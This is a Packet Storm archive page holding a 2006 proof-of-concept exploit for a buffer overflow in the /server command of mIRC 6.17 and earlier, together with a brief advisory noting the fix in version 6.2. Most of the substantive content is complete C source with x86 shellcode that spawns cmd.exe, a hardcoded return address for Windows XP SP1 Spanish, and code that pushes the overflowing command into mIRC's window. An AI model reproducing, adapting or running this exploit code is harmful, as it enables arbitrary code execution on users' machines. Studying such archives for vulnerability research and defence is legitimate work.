exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

mircServerexploitXPSP1.c

mircServerexploitXPSP1.c
Posted Aug 17, 2006
Authored by Jordi Corrales

Proof of concept exploit that takes advantage of a buffer overflow in the /server directive of mIRC versions 6.17 and below. In a default install, this does not elevate privileges.

tags | exploit, overflow, proof of concept
SHA-256 | faeff6b29609fcd7cc837a37cb26366988e997241fd67e93e33221f8b168a3f6

mircServerexploitXPSP1.c

Change Mirror Download
- 1 - Introduction

Written by Khaled Mardam-Bey, mIRC is a friendly IRC client that is
well equipped with options and tools.

- 2 - Vulnerability description

Vulnerable mIRC 6.17 and minor.

Using the command /server with long parameters initially don't crash,
but if introduces again the same text don't check the lenght when
update the info and mIRC crash overwritting the EIP.

It's a minor bug and DON'T ELEVATE PRIVILEGES.


- 3 - How to exploit it

This PoC open a cmd.exe,also it's possible execute any other code.

----------- mircServerexploitXPSP1.c ----------------------
/*
This PoC it's for XP SP1 Spanish
*/

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

int main () {
HWND lHandle;
char command[512]= "//server -a $str(A,352) $+ ";
char command2[512]=" $+ $str(A,56) $+ ";
char command3[512]=" $+ $str(B,52) ";
char finalcommand[1024]="";
char strClass[30];

char shellcode[999]=
"\x55"
"\x8B\xEC"
"\x33\xFF"
"\x57"
"\x83\xEC\x04"
"\xC6\x45\xF8\x63"
"\xC6\x45\xF9\x6D"
"\xC6\x45\xFA\x64"
"\xC6\x45\xFB\x2E"
"\xC6\x45\xFC\x65"
"\xC6\x45\xFD\x78"
"\xC6\x45\xFE\x65"
"\x8D\x45\xF8"
"\x50"
"\xBB\x44\x80\xbf\x77"
"\xFF\xD3"
"\x90\x90\xFF\xE1";

//Shellcode system("cmd.exe"), system in \xc7\x93\xc2\x77 0x77c293c7
(WinXP Sp1 Spanish)

char saltaoffset[]="\xF0\xFA\xD8\x77\x90\x90\x90\x90\x90\x83\xEC\x74\xFF\xE4\x90\x90";
// 0x77D8FAF0

SetForegroundWindow(lHandle);
lHandle = FindWindowEx(FindWindowEx(FindWindowEx(FindWindow("mIRC",NULL),
0, "MDIClient", 0),0, "mIRC_Status", 0), 0, "Edit", 0);

if (!lHandle) { printf("Can't find mIRC\n"); return 0; }

strcat(shellcode,command2);
strcat(shellcode,saltaoffset);
strcat(command,shellcode);
strcat(command,command3);
strcat(finalcommand,command);
strcat(finalcommand,"| ");
strcat(finalcommand,command);
printf("%s\n", finalcommand);

SendMessage(lHandle, WM_SETTEXT,0,(LPARAM)finalcommand);
SendMessage (lHandle, WM_IME_KEYDOWN, VK_RETURN, 0);
}

/* Eof */
----------- CUT HERE ----------------------

- 4 - Solution

Fixed on mIRC 6.2. Link to download http://www.mirc.com/get.html

- 5 - Credits

URL Vendor: www.mirc.com
Author: Jordi Corrales ( crowdat[at]gmail.com )
Date: 02/08/2006
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close